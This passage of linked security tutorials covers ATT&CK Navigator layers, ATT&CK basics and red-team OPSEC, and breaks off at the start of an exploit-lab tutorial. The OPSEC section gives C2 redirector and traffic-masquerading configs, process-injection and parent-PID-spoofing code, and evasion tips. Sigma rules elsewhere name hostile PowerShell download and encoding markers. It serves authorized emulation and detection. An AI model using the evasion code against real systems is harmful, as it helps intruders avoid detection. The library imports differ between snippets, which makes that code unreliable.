• The finished TTP map drives detection engineering directly — pulling ATT&CK Data Sources, Sysmon Event IDs, audit policies, and Sigma rules per technique, and feeding DeTT&CT coverage analysis and emulation plans.

Related Tutorials

• Cyber Threat Intelligence (CTI) Fundamentals: Sources, Types, and the Intelligence Lifecycle
• Navigating ATT&CK Navigator: Building, Annotating, and Exporting Technique Layers
• Introduction to MITRE ATT&CK: Structure, Tactics, Techniques, and Sub-Techniques
• APT Profiling: How to Build a Comprehensive Adversary Profile from Open-Source Intelligence
• Passive OSINT: Mapping the Target Without Touching It

References

• Best Practices for MITRE ATT&CK® Mapping (CISA)
• MITRE ATT&CK® – Get Started: Threat Intelligence
• MITRE ATT&CK® – Get Started: Adversary Emulation and Red Teaming
• MITRE ATT&CK® – Adversary Emulation Plans
• Getting Started with ATT&CK: Threat Intelligence (Official MITRE ATT&CK® Blog)
• Center for Threat-Informed Defense – Adversary Emulation Library (GitHub)

Navigating ATT&CK Navigator: Building, Annotating, and Exporting Technique Layers

Objective: Understand how to use MITRE ATT&CK Navigator to build, annotate, combine, and export technique layers — the JSON layer format, per-technique annotation fields, gap analysis via score expressions, programmatic generation, and the operational security controls around layer files for threat-informed defense and adversary emulation.

1. What Is ATT&CK Navigator and Why It Matters

ATT&CK Navigator is a web-based tool for annotating and exploring ATT&CK matrices. It visualizes defensive coverage, supports red/blue team planning, and tracks the frequency of detected techniques. It is a meta-tool: it generates no host telemetry and maps to no single ATT&CK technique. Instead, it is the primary planning surface for structured adversary emulation and threat-informed defense.

The unit of work is the layer — a JSON file scoped to one ATT&CK domain and matrix version, listing techniques with whatever annotations have been applied. Layers can store a default view configuration (sorting, visible platforms) and can be authored interactively in the UI or generated programmatically.

The current release is v5.3.2 (April 21, 2026). The hosted instance lives at mitre-attack.github.io/attack-navigator/.

2. Tool Setup: Hosted Instance vs. Self-Hosted

The hosted instance is the fastest start. Layer files uploaded to it stay client-side — nothing is stored on MITRE’s servers. Despite that, MITRE recommends running your own instance if your layer files contain sensitive content.

Navigator is a dynamic web application that runs on Node.js and Angular CLI, and installs on Linux. A self-hosted instance can be air-gapped and fed local STIX bundles via the customDataURL field or customDataURL query parameter.

git clone https://github.com/mitre-attack/attack-navigator.git
cd attack-navigator/nav-app
npm install
ng serve   # serves the Navigator on localhost:4200

Self-hosted configuration lives in nav-app/src/assets/config.json. The banner setting (default empty string) displays HTML content at the top of the page. The features array lists togglable features; setting enabled: false on a feature hides all of its control elements.

3. Anatomy of a Layer: The JSON Schema

The current specification is Version 4.5 of the layer file format. Field names are case-sensitive — techniqueID, not techniqueId.

A minimal valid layer:

{
  "name": "Detection Coverage Baseline",
  "versions": {
    "attack": "15",
    "navigator": "5.3.2",
    "layer": "4.5"
  },
  "domain": "enterprise-attack",
  "description": "Blue-team detection posture",
  "techniques": []
}

The sorting field controls ordering within each tactic: 0 ascending by name, 1 descending by name, 2 ascending by score, 3 descending by score.

4. Building a Layer from Scratch (UI Walkthrough)

Open Navigator and select Create New Layer. Choose a domain (Enterprise, Mobile, or ICS) and an ATT&CK version — these become the domain and versions.attack fields. The matrix renders with every tactic as a column and techniques stacked beneath.

Use search to query by keyword, and multiselect to bulk-select techniques by platform, data source, or tactic. Selecting a technique highlights it; the right-click context menu and the technique controls bar apply annotations to the current selection. Expand a parent technique to reveal and individually annotate its sub-techniques (showSubtechniques: true).

This is the core discipline: select the techniques relevant to your engagement or coverage assessment, then annotate the selection rather than each cell one at a time.

5. Annotating Techniques: Colors, Scores, Comments, Metadata, and Links

Each object in the techniques array supports these fields:

"techniques": [
  {
    "techniqueID": "T1078",
    "color": "#fc3b3b"
  },
  {
    "techniqueID": "T1059.001",
    "tactic": "execution",
    "score": 75,
    "comment": "Script Block Logging on; no behavioral alert yet"
  },
  {
    "techniqueID": "T1055",
    "enabled": false,
    "metadata": [
      { "name": "owner", "value": "detection-eng" },
      { "name": "ticket", "value": "DET-4412" }
    ]
  }
]

Scored techniques draw their fill color from the gradient. Define a red→yellow→green scale to read low coverage at a glance:

"gradient": {
  "colors": ["#ff6666", "#ffe766", "#8ec843"],
  "minValue": 0,
  "maxValue": 100
}

Make the scale legible to stakeholders with legendItems:

"legendItems": [
  { "label": "No Coverage", "color": "#ff6666" },
  { "label": "Logged Only", "color": "#ffe766" },
  { "label": "Alerted",     "color": "#8ec843" }
]

Use an explicit color for binary states (in-scope vs. out-of-scope), and score + gradient for graded coverage. Set enabled: false to grey out techniques irrelevant to the assessment so the heat-map stays readable.

6. Working with Pre-Built Threat Group Layers

ATT&CK publishes pre-built Navigator layers for documented threat groups. From any group’s page on attack.mitre.org, use the option to view or export the group’s technique usage as a Navigator layer — stored as a JSON file.

Import these as the baseline for adversary emulation planning: the group layer becomes the what they do, and your detection-coverage layer becomes the what you can see. Loading the group’s JSON via Open Existing Layer instantly highlights every technique attributed to that adversary across the matrix.

7. Combining Layers: Gap Analysis via Score Expressions

Layers compose. Create New Layer → Create Layer from Other Layers lets Navigator produce a calculated layer from arithmetic over loaded layers, which is how you build gap analysis without spreadsheets.

Each open layer is assigned a variable (a, b, c). Entering a score expression of a+b+c combines scores across three threat-group layers, surfacing technique overlap among multiple adversaries.

The high-value workflow for detection engineering: load the adversary group layer (a) and your detection-coverage layer (b), then evaluate b - a. Techniques the adversary uses but you cannot detect render with negative scores — these are your prioritized work items. Set sorting: 3 to float the highest-scored (or, inverted, the worst-gap) techniques to the top of each tactic.

{
  "name": "Coverage Gap (b - a)",
  "domain": "enterprise-attack",
  "sorting": 3,
  "gradient": {
    "colors": ["#ff6666", "#ffffff", "#8ec843"],
    "minValue": -100,
    "maxValue": 100
  }
}

8. Programmatic Layer Generation with Python

Author layers at scale with mitreattack-python. Query the STIX data for a named intrusion-set, collect the techniques tied to it, and serialize a v4.5 layer dict.

import json
from mitreattack.stixdata import MitreAttackData

mad = MitreAttackData("enterprise-attack.json")

group = mad.get_groups_by_alias("APT29")[0]
techniques = mad.get_techniques_used_by_group(group["id"])

annotations = []
for t in techniques:
    attack_id = mad.get_attack_id(t["object"]["id"])
    annotations.append({
        "techniqueID": attack_id,
        "score": 1,
        "comment": "Attributed via STIX intrusion-set relationship"
    })

layer = {
    "name": f"{group['name']} TTPs",
    "versions": {"attack": "15", "navigator": "5.3.2", "layer": "4.5"},
    "domain": "enterprise-attack",
    "description": "Auto-generated group layer",
    "techniques": annotations,
    "gradient": {"colors": ["#ffffff", "#fc3b3b"], "minValue": 0, "maxValue": 1}
}

with open("apt_layer.json", "w") as f:
    json.dump(layer, f, indent=2)

Generated JSON round-trips straight back into the UI via Open Existing Layer. Consuming a finished layer is equally simple — ingest it into reporting tooling and emit a Markdown gap table:

import json

with open("coverage_gap.json") as f:
    layer = json.load(f)

print("| Technique | Score | Comment |")
print("|---|---|---|")
for t in layer["techniques"]:
    print(f"| {t['techniqueID']} | {t.get('score','-')} | {t.get('comment','')} |")

9. Exporting Layers: JSON, SVG, Excel, and Multi-Layer Bundles

Search and filter the matrix to the exact view you want, then export it.

Embed a hosted layer directly in a report or internal portal with the layerURL query parameter:

<iframe
  src="https://mitre-attack.github.io/attack-navigator/#layerURL=https://intranet.local/layers/coverage_gap.json"
  width="100%" height="900" frameborder="0">
</iframe>

10. Layer Versioning and Migration

The sub-techniques update replaced many techniques with sub-techniques carrying new IDs, so layers authored before that release may not render correctly in newer matrices. The official update-layers.py script both upgrades a layer to the latest format and remaps technique IDs to their replacers where possible.

python3 update-layers.py --input old_layer.json --output migrated_layer.json

The in-app layer upgrade wizard (added in v5.x alongside STIX 2.1 Collection Index and TAXII 2.1 support) walks changed techniques interactively: it lists each technique’s previous and current state with links to both versions. Enable show annotated techniques only to focus on your annotations, then copy them from the previous version to the current one.

11. Common Attacker Techniques

Navigator is a planning tool — the “techniques” it manipulates are ATT&CK TTPs encoded as techniqueID values. The table below shows representative primitives a red team maps post-engagement and a blue team scores for coverage.

Each cell in Navigator links to the technique’s ATT&CK page, which exposes Data Sources, Detections, and Mitigations — use Navigator as the bridge into those fields, not the endpoint.

12. Defensive Strategies & Detection

The Navigator generates no telemetry; the defensive concern is twofold — layer-file OPSEC and translating scores into real detection.

Layer-file operational security:
– Layer JSON may contain red-team TTPs, engagement timelines, and detection-gap scoring. Do not upload sensitive layers to the public hosted instance.
– Hosted-instance uploads stay client-side, but run a self-hosted, access-controlled instance (auth proxy or VPN-only) for operational data.
– Version-control layers in Git with access controls equal to other sensitive operational documentation.

Translating scores to detection: a technique scored 0 in your coverage layer should map to a missing Sysmon rule, ETW subscription, or audit policy. Cross-reference each low-scored techniqueID against the ATT&CK page’s data sources. For T1059.001 (PowerShell): Sysmon Event ID 1 (Process Create), Event ID 4104 (Script Block Logging via the Microsoft-Windows-PowerShell ETW provider), and audit policy Audit Process Creation.

A Sigma rule sketch for the missing detection identified by a gap layer:

title: Suspicious PowerShell Script Block Execution
logsource:
  product: windows
  service: powershell
detection:
  selection:
    EventID: 4104
    ScriptBlockText|contains:
      - 'IEX'
      - 'DownloadString'
      - 'FromBase64String'
  condition: selection
level: high

Overlaying an adversary layer (a) against a coverage layer (b) with the score expression b - a surfaces negative-score techniques — adversary TTPs you cannot detect — as the highest-priority detection-engineering backlog.

13. Tools for Layer Analysis

14. MITRE ATT&CK Mapping

Navigator has no technique ID of its own — it is a blue/purple-team planning tool. Its ATT&CK relevance is the technique IDs you place inside layers and the detection guidance each one links to.

Summary

• ATT&CK Navigator is the standard planning surface for threat-informed defense and adversary emulation — it visualizes coverage, it does not attack.
• Layers are v4.5-format JSON files scoped to one domain; per-technique fields (techniqueID, score, color, comment, metadata, enabled) drive the heat-map.
• Score expressions like b - a turn adversary and coverage layers into automatic gap analysis, surfacing undetectable TTPs as detection-engineering work.
• Generate layers programmatically with mitreattack-python, migrate them with update-layers.py, and export to JSON, SVG, or Excel.
• Treat layer files as sensitive: self-host with access control, version them in Git, and cross-reference every low score against real Sysmon/ETW/audit-policy detections.

Related Tutorials

• Mapping CTI Reports to ATT&CK TTPs: A Step-by-Step Methodology
• Introduction to MITRE ATT&CK: Structure, Tactics, Techniques, and Sub-Techniques
• APT Profiling: How to Build a Comprehensive Adversary Profile from Open-Source Intelligence
• Building a Red Team Lab: Infrastructure, VMs, and C2 Setup
• Cyber Threat Intelligence (CTI) Fundamentals: Sources, Types, and the Intelligence Lifecycle

References

• ATT&CK Navigator – Official GitHub Repository (mitre-attack/attack-navigator)
• ATT&CK Navigator USAGE.md – Building, Annotating & Exporting Layers
• ATT&CK Navigator Layer File Format Specification v4.5
• ATT&CK Navigator Layers README – Examples & Programmatic Generation
• MITRE ATT&CK – Adversary Emulation Plans (Official)
• MITRE ATT&CK – Getting Started: Adversary Emulation and Red Teaming

Introduction to MITRE ATT&CK: Structure, Tactics, Techniques, and Sub-Techniques

Objective: Understand what the MITRE ATT&CK knowledge base is, how it is structured — domains, matrices, tactics, techniques, sub-techniques, and procedures — and how defenders, threat hunters, and authorized red teamers use it as a shared operational language for threat-informed defense and adversary emulation.

1. What Is MITRE ATT&CK and Why It Matters

MITRE ATT&CK is a living, open-source knowledge base that documents real-world adversary tactics, techniques, and procedures (TTPs). It was created by the MITRE Corporation and first released in 2013. ATT&CK focuses on how attackers behave — the actions they take inside an environment — rather than on the indicators of compromise (IOCs) they leave behind.

This distinction matters. IOCs (hashes, IPs, domains) are brittle and disposable; an adversary rotates them cheaply. Behaviors — injecting code, dumping credentials, abusing valid accounts — are expensive to change. ATT&CK catalogs the durable behaviors, grounded in empirical evidence from intrusions observed across industries and geographies.

ATT&CK builds on the Lockheed Martin Cyber Kill Chain (Hutchins, Cloppert & Amin, 2011). The Matrix columns are ordered roughly along the chronological flow of an intrusion, but ATT&CK goes deeper, enumerating concrete mechanisms under each phase rather than naming abstract stages.

2. The Three Domains: Enterprise, Mobile, and ICS

ATT&CK is partitioned into three domains, each with its own matrices.

This site focuses on Enterprise ATT&CK because it covers the Windows, Linux, and cloud surfaces most relevant to blue teams, DFIR, and authorized red teaming.

3. Tactics, Techniques, Sub-Techniques, and Procedures

The ATT&CK data model is a four-level hierarchy. Each level answers a different question.

Tactics represent the “why.” Techniques represent the “how.” Sub-techniques describe a narrower variation. For example, the technique Account Manipulation (T1098) encompasses sub-techniques such as Additional Email Delegate Permissions (T1098.002) and Exchange Email Delegate Permissions (T1098.003), each detailing a distinct method.

Procedures are the real-world implementations — specific tools, malware families, or hands-on-keyboard methods observed in active campaigns. This is what makes ATT&CK actionable: you can study the actual tradecraft, not just the abstraction.

4. Walking the Enterprise Matrix: The 14 Tactics

The Matrix column headings are the tactics, presented in roughly chronological order. The cells under each column are the techniques that achieve that tactical objective. The baseline below reflects ATT&CK v16.1 (14 tactics, 203 techniques, 453 sub-techniques). For reference, v18 lists 14 tactics, 216 techniques, 475 sub-techniques, 44 mitigations, and over 1,700 analytics. Always pin counts to a version.

v19 note (April 2026): ATT&CK v19 introduced a major structural change — the Defense Evasion tactic (TA0005) was split into two new tactics, Stealth and Defense Impairment. TA0005 is deprecated in the current release. Retrieve the exact new tactic IDs and transition guidance from attack.mitre.org/resources/updates/ before mapping against v19.

5. Anatomy of a Technique Page

Every technique page is a structured record. Take T1059.001 — PowerShell (a sub-technique of T1059 Command and Scripting Interpreter, under Execution).

A technique can belong to multiple tactics. The Detection section lists data source / data component pairs, free-text analytic notes, and — since v14 — structured pseudocode analytics from the MITRE Cyber Analytics Repository (CAR). These data-source fields tell you exactly which telemetry to collect.

6. Related Objects: Groups, Software, Campaigns, and Mitigations

ATT&CK is more than a list of behaviors. A graph of related objects ties techniques to threat intelligence.

This turns the Matrix into an operational tool: not just “T1056.001 exists,” but which group uses it, with what software, in which campaign, and which mitigations apply. The Group pages are the entry point for threat-actor-centric research and emulation planning.

7. Programmatic Access via STIX and the ATT&CK Python Library

ATT&CK is published as STIX 2.1 — the structured threat intelligence format from the OASIS CTI Technical Committee. In STIX, an intrusion-set object (Group) links to attack-pattern objects (techniques/sub-techniques), malware and tool objects (software), and campaign objects. MITRE distributes the bundles on GitHub.

The canonical library is mitreattack-python (github.com/mitre-attack/mitreattack-python). Load a bundle and query the data model directly.

from mitreattack.stix2 import MitreAttackData

mitre = MitreAttackData("enterprise-attack.json")

# List every technique under the Persistence tactic (TA0003)
for t in mitre.get_techniques_by_tactic("persistence", "enterprise-attack"):
    print(mitre.get_attack_id(t.id), t.name)

Fetch a single technique by its ATT&CK ID and inspect the schema fields:

tech = mitre.get_object_by_attack_id("T1059.001", "attack-pattern")
print(tech.name)                 # PowerShell
print(tech.x_mitre_platforms)    # ['Windows']
for phase in tech.kill_chain_phases:
    print(phase.phase_name)      # execution

Walk the relationship graph to list every Group observed using a technique:

for g in mitre.get_groups_using_technique(tech.id):
    grp = g["object"]
    print(mitre.get_attack_id(grp.id), grp.name, grp.aliases)

The raw attack-pattern object behind that technique looks like this (trimmed and annotated):

{
  "type": "attack-pattern",
  "id": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
  "name": "PowerShell",
  "x_mitre_platforms": ["Windows"],
  "x_mitre_is_subtechnique": true,
  "kill_chain_phases": [
    { "kill_chain_name": "mitre-attack", "phase_name": "execution" }
  ],
  "external_references": [
    {
      "source_name": "mitre-attack",
      "external_id": "T1059.001",
      "url": "https://attack.mitre.org/techniques/T1059/001"
    }
  ]
}

To stay current across releases, diff two STIX bundles to surface added or modified techniques:

# Illustrative: compare two domain bundles and emit a change report
from mitreattack.diffStix.changelog_helper import get_new_changelog_md

get_new_changelog_md(
    old="enterprise-attack-16.1.json",
    new="enterprise-attack-18.0.json",
    domains=["enterprise-attack"],
    markdown_file="attack-v16-to-v18-changes.md",
)

8. The ATT&CK Navigator and Coverage Layers

The ATT&CK Navigator renders the Matrix as an interactive heat map. You assign scores and colors to techniques to build layers — coverage maps for detection engineering, gap analysis, and emulation scoping. Layers are JSON and version-controllable.

{
  "name": "Detection Coverage - Execution & Persistence",
  "versions": { "attack": "16", "navigator": "5.1.0", "layer": "4.5" },
  "domain": "enterprise-attack",
  "techniques": [
    { "techniqueID": "T1059.001", "score": 100, "color": "#31a354",
      "comment": "Sysmon EID 1 + Script Block Logging" },
    { "techniqueID": "T1547.001", "score": 50, "color": "#fee08b",
      "comment": "Partial registry telemetry" },
    { "techniqueID": "T1055", "score": 0, "color": "#de2d26",
      "comment": "No process-injection detection" }
  ]
}

Overlay an adversary’s known techniques (red) against your detection coverage (green) and the white space is your gap list.

9. Applying ATT&CK in Defense and Authorized Emulation

As a defender, map every SIEM alert and detection rule to a technique ID. Build Navigator layers to measure coverage, then prioritize engineering against the techniques most relevant to your threat model — threat-informed defense instead of blanket coverage.

As an authorized red teamer / adversary emulator, pull a Group page (e.g., a relevant APT), extract its technique set, and build a TTP-driven emulation plan. This is fundamentally different from vulnerability-based scoping: you exercise the behaviors the defense must catch. Tools like MITRE CALDERA and Atomic Red Team chain ATT&CK-mapped tests so blue and red teams speak the same IDs.

10. Common Attacker Techniques

The framework catalogs thousands of behaviors. A handful illustrate the model’s range and the important fact that one technique can serve multiple tactics.

T1078 (Valid Accounts) is the teaching case: it appears under four tactics — Initial Access, Persistence, Privilege Escalation, and Defense Evasion — because the same behavior serves different adversary goals depending on context.

11. Defensive Strategies & Detection

Because ATT&CK is structural, the goal here is wiring it into your detection workflow. Each technique page lists Data Sources (e.g., Process, Command, Windows Registry, Network Traffic) and Data Components (e.g., Process Creation, Network Connection Creation). These map directly to telemetry you must collect.

On Windows, Sysmon supplies much of that telemetry.

Sigma is the vendor-neutral detection format that carries ATT&CK IDs in its tags block, letting every rule trace back to a technique and tactic.

title: PowerShell EncodedCommand Execution
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 1
    Image|endswith: '\powershell.exe'
    CommandLine|contains:
      - '-enc'
      - '-EncodedCommand'
  condition: selection
tags:
  - attack.execution        # tactic name (lowercase)
  - attack.t1059.001        # sub-technique ID (lowercase)
level: medium

Mitigations use M#### IDs (verify against attack.mitre.org/mitigations/enterprise/ before citing in production):

12. Tools for ATT&CK Analysis

13. MITRE ATT&CK Mapping

Every other tutorial on this site closes with a mapping table. Read it as technique → tactic → context. This is the worked example.

14. Summary

• MITRE ATT&CK is a behavior-based, empirically grounded knowledge base of adversary TTPs — not an IOC feed.
• The data model is a hierarchy: tactics (why, TA####) → techniques (how, T####) → sub-techniques (T####.###) → procedures (real-world instances).
• Related objects — Groups (G####), Software (S####), Campaigns (C####), Mitigations (M####) — turn the Matrix into an operational, intelligence-led tool.
• Pin counts and structure to a specific version; v19 (April 2026) split Defense Evasion (TA0005) into Stealth and Defense Impairment — confirm the new IDs at attack.mitre.org/resources/updates/.
• Operationalize ATT&CK by mapping data sources to Sysmon telemetry, tagging Sigma rules with technique IDs, and tracking coverage in Navigator layers for both detection engineering and authorized emulation.

Related Tutorials

• Mapping CTI Reports to ATT&CK TTPs: A Step-by-Step Methodology
• Navigating ATT&CK Navigator: Building, Annotating, and Exporting Technique Layers
• APT Profiling: How to Build a Comprehensive Adversary Profile from Open-Source Intelligence
• Cyber Threat Intelligence (CTI) Fundamentals: Sources, Types, and the Intelligence Lifecycle
• Threat-Informed Defense: Principles, Frameworks, and the Intelligence-Driven Security Cycle

References

• MITRE ATT&CK® – Getting Started (Official Resources Overview)
• Enterprise Tactics – MITRE ATT&CK®
• Enterprise Techniques – MITRE ATT&CK®
• Adversary Emulation Plans – MITRE ATT&CK®
• ATT&CK Adversary Emulation & Red Teaming – MITRE ATT&CK® Get Started
• MITRE ATT&CK: Design and Philosophy (Official PDF – Strom et al.)

OPSEC Principles for Red Teamers: Staying Undetected

Objective: Understand the operational security discipline an authorized red teamer must apply across infrastructure, process execution, network traffic, and on-disk artifacts to minimize detection surface, and learn the corresponding telemetry defenders use to catch each OPSEC failure.

1. What OPSEC Means for Red Teamers

Operational security is the discipline that separates a noisy penetration test from a realistic adversary simulation. A red team engagement that triggers every EDR sensor on the first beacon delivers a process audit, not a threat-emulation result. Every action — every API call, every DNS query, every dropped file — generates a detection signature. Strong OPSEC means knowing precisely what artifacts each action produces and either avoiding the action, blending it into noise, or accepting the risk consciously.

This tutorial is written for authorized red teamers and the blue teams who hunt them. Every offensive technique is paired with the exact telemetry that exposes it, so operators can self-audit and defenders can close the loop.

2. The Five-Step OPSEC Cycle Applied to Red Teaming

The classic OPSEC process, adapted to an offensive engagement:

Operators run this loop before each phase — initial access, lateral movement, persistence, exfiltration — not once at the start of the engagement.

3. Thinking Like a Sensor: The Defender’s Telemetry Stack

You cannot evade what you do not understand. Modern defenders correlate signals from at least five overlapping layers:

The Microsoft-Windows-Threat-Intelligence provider deserves a callout: it is PPL-protected and is the primary ETW source EDRs use for injection telemetry. Any attempt to disable it is itself a high-fidelity alert (T1562.001).

4. Infrastructure OPSEC: Redirectors, Domains, and Segmentation

If your C2 team server is exposed directly to the target network, a single block at the perimeter ends the engagement. Infrastructure OPSEC is about layering the chain so that the loud parts are disposable.

A minimal Nginx redirector enforcing path-based filtering:

server {
    listen 443 ssl;
    server_name updates.example-cdn.com;

    ssl_certificate     /etc/letsencrypt/live/.../fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/.../privkey.pem;

    # Drop anything that isn't on the expected beacon URI
    if ($uri !~* "^/(api/v2/telemetry|cdn/assets)") {
        return 404;
    }

    # Drop scanners and unexpected User-Agents
    if ($http_user_agent !~* "Mozilla/5\.0.*Chrome") {
        return 404;
    }

    location / {
        proxy_pass https://teamserver.internal:8443;
        proxy_set_header Host $host;
    }
}

5. Malleable C2 Profiles and Traffic Shaping

Default C2 profiles are signatured. A malleable profile rewrites every byte the beacon puts on the wire so traffic blends with expected enterprise patterns.

http-get {
    set uri "/api/v2/telemetry";
    client {
        header "Host" "updates.example-cdn.com";
        header "Accept" "application/json";
        metadata {
            base64url;
            prepend "session=";
            header "Cookie";
        }
    }
    server {
        header "Content-Type" "application/json";
        output {
            base64;
            prepend "{\"status\":\"ok\",\"data\":\"";
            append "\"}";
            print;
        }
    }
}

http-post {
    set uri "/api/v2/upload";
    client {
        header "Content-Type" "application/octet-stream";
        id { base64url; parameter "tid"; }
        output { base64; print; }
    }
}

Key directives: the metadata transform hides session state in a cookie; Host: masquerades as a CDN; URIs match a believable application path. The corresponding http-stager, process-inject, and post-ex blocks must also be customized — default stager URIs are the number-one Cobalt Strike fingerprint.

6. Process & Memory OPSEC

The classic injection triad is also the most signatured behavior in Windows. The following is shown as a “what not to do naively” reference — every line annotates the telemetry it produces:

// VirtualAllocEx in remote PID -> Sysmon EID 10 (PROCESS_VM_OPERATION)
LPVOID rbuf = VirtualAllocEx(hProc, NULL, sz,
                             MEM_COMMIT | MEM_RESERVE,
                             PAGE_EXECUTE_READWRITE);  // RWX = EDR red flag

// WriteProcessMemory                 -> Sysmon EID 10 (PROCESS_VM_WRITE)
WriteProcessMemory(hProc, rbuf, sc, sz, NULL);

// CreateRemoteThread                 -> Sysmon EID 8 (CreateRemoteThread)
HANDLE hThr = CreateRemoteThread(hProc, NULL, 0,
                                 (LPTHREAD_START_ROUTINE)rbuf,
                                 NULL, 0, NULL);

Quieter alternatives reduce — but do not eliminate — visibility:

• Section-based injection via NtMapViewOfSection (T1055.004) avoids WriteProcessMemory but is still observable via Threat-Intelligence ETW.
• APC injection via NtQueueApcThread triggers only when the target thread enters an alertable wait.
• Reflective DLL / PE loading (T1620) avoids LoadLibrary and Sysmon Event ID 7 module-load entries for the malicious DLL path.
• Direct / indirect syscalls (the SysWhispers3 pattern) bypass userland EDR hooks by invoking NTAPI numbers via the syscall instruction.
• Allocate RW, then VirtualProtect to RX — never request PAGE_EXECUTE_READWRITE directly.

Process selection matters as much as the technique. notepad.exe initiating an outbound connection is anomalous; a browser or svchost.exe doing so is not.

7. Parent PID Spoofing

Parent-child chains are one of the cheapest behavioral detections. Spoofing the parent via UpdateProcThreadAttribute breaks the chain so a payload launched from a phishing macro can claim explorer.exe as its parent (T1134.004).

STARTUPINFOEXA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
SIZE_T attrSize = 0;

si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
si.lpAttributeList = HeapAlloc(GetProcessHeap(), 0, attrSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize);

HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, explorerPid);
UpdateProcThreadAttribute(si.lpAttributeList, 0,
    PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
    &hParent, sizeof(HANDLE), NULL, NULL);

CreateProcessA(NULL, "C:\\Windows\\System32\\cmd.exe", NULL, NULL, FALSE,
               EXTENDED_STARTUPINFO_PRESENT, NULL, NULL,
               &si.StartupInfo, &pi);

The spoofed parent appears in Sysmon Event ID 1’s ParentProcessId and ParentImage fields. Detection: correlate ParentImage with the CreatingProcessId recorded by EDR kernel callbacks — they will disagree on a spoofed launch.

8. Network OPSEC: Sleep, Jitter, and Protocol Blending

A beacon calling back every 60 seconds on the dot is trivially clustered by an NDR. Add jitter:

import random, time

def beacon_sleep(base_seconds: int, jitter_pct: int) -> None:
    delta = base_seconds * (jitter_pct / 100.0)
    interval = base_seconds + random.uniform(-delta, +delta)
    # 60s base, 30% jitter -> 42s..78s
    time.sleep(interval)

A 60s ± 30% schedule destroys naive periodicity heuristics; longer sleeps (3600s ± 50%) defeat most short-window NDR baselines but cost interactivity. Match channel to environment:

9. LOLBins and In-Memory Execution

Living-off-the-Land Binaries (LOLBins) are signed Microsoft binaries that proxy execution and inherit trust. The trade-off is that they are now heavily monitored — rundll32.exe spawned by winword.exe is a textbook ASR trigger.

In-memory execution avoids disk artifacts entirely:

• BOFs (Beacon Object Files) execute small COFF objects inside the implant process — no new process, no file on disk.
• Assembly.Load() loads a .NET assembly from a byte array, bypassing Image Load events for the managed module on disk.
• Reflective DLL loading maps a DLL without invoking the loader, so it never appears in LoadLibrary audit paths.

A note on PowerShell: powershell -enc <base64> looks obfuscated and is logged by Sysmon Event ID 1 in its decoded form once Script Block Logging is enabled. AMSI sees the deobfuscated content immediately before execution. Encoding is not evasion against a modern stack.

10. Artifact & Log OPSEC

Cleaning up is part of the engagement — but cleanup itself is loud.

Rule of thumb: do not clear logs unless the engagement scope explicitly authorizes it. Selective in-process ETW suppression is quieter, scope-limited, and reversible.

11. The OPSEC Operator Checklist

12. Common Attacker Techniques

13. Defensive Strategies & Detection

The OPSEC failures above map directly to telemetry. Defenders should focus on behavior chains, not isolated IOCs — fixating on hashes catches yesterday’s adversary.

A Sigma sketch for the most common parent-spoof + LOLBin pattern:

title: Office Application Spawning rundll32 via Spoofed Parent
logsource:
  product: windows
  service: sysmon
detection:
  selection_proc:
    EventID: 1
    Image|endswith: '\rundll32.exe'
    ParentImage|endswith:
      - '\explorer.exe'
      - '\svchost.exe'
  selection_cmd:
    CommandLine|contains:
      - ',DllRegisterServer'
      - 'javascript:'
      - 'shell32.dll,Control_RunDLL'
  filter_signed_paths:
    CurrentDirectory|startswith: 'C:\Windows\System32\'
  condition: selection_proc and selection_cmd and not filter_signed_paths
level: high

Windows Security audit events to enable: 4688 (process creation with command line), 4698 (scheduled task), 7045 (new service), 1102 (Security log cleared), 4656/4663 (object access via SACL). Enable PowerShell Script Block Logging and Module Logging via GPO. Set HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL = 1 to protect LSASS, deploy Credential Guard, and enforce ASR rules blocking Office child-process spawning and LSASS credential theft. A misconfigured Sysmon ruleset is the single most common reason behavior-based detection fails — deploy a tuned config (e.g., SwiftOnSecurity or olafhartong’s modular config) and review it quarterly.

14. Tools for Red Team OPSEC Analysis

15. MITRE ATT&CK Mapping

16. Summary

• OPSEC is the discipline of knowing exactly what telemetry every offensive action produces, and making conscious risk decisions about each one.
• The five-step OPSEC cycle (identify, threat, vuln, risk, countermeasure) is run before each engagement phase, not once at kickoff.
• Infrastructure OPSEC layers redirectors, aged categorized domains, segmented providers, and customized malleable C2 profiles — defaults are signatured.
• Process and network OPSEC favor in-memory execution (BOF, reflective load, Assembly.Load), PPID spoofing, sensible injection-target selection, and sleep + jitter to destroy beacon periodicity.
• Log and artifact suppression is a sharp tool: timestomping leaves $FILE_NAME evidence, wevtutil cl triggers Event ID 1102, and ETW patching is itself observed by the Threat-Intelligence provider.
• Defenders close every loop with Sysmon, ETW, AMSI, and behavior-chain Sigma rules — focus on TTP chains, not IOCs, to catch operators who actually practice OPSEC.

Related Tutorials

• Building a Red Team Lab: Infrastructure, VMs, and C2 Setup
• Red Teaming Fundamentals: Mindset, Methodology, and Engagement Types
• Phishing Campaign Design: Pretexting, Lures, and Target Profiling
• OSINT for People and Credentials: LinkedIn, Breach Data, and Email Harvesting
• Active OSINT: DNS, Certificate Transparency, and Subdomain Enumeration

References

• MITRE ATT&CK: Defense Evasion (TA0005) — Enterprise Tactic
• MITRE ATT&CK: Masquerading (T1036) — Defense Evasion Technique
• NIST CSRC: Red Team Exercise — Glossary & SP 800-53 Rev. 5 Reference
• SANS SEC565: Red Team Operations and Adversary Emulation (OPSEC Hardening & C2 Infrastructure)
• MITRE ATT&CK: Indicator Removal (T1070) — Covering Tracks Technique
• Red Canary: Atomic Red Team — Open-Source MITRE ATT&CK-Mapped Test Library

Setting Up Your Exploit Development Lab (VMs, Debuggers, Tools)

Objective: Build an isolated, fully-functional Windows exploit development lab from scratch — selecting and configuring VMs, installing and tuning debuggers, deploying exploit-assistance tooling, and understanding why each component exists — so you can safely study user-mode and kernel-mode exploitation without risking production systems.

1. Lab Philosophy and Safety

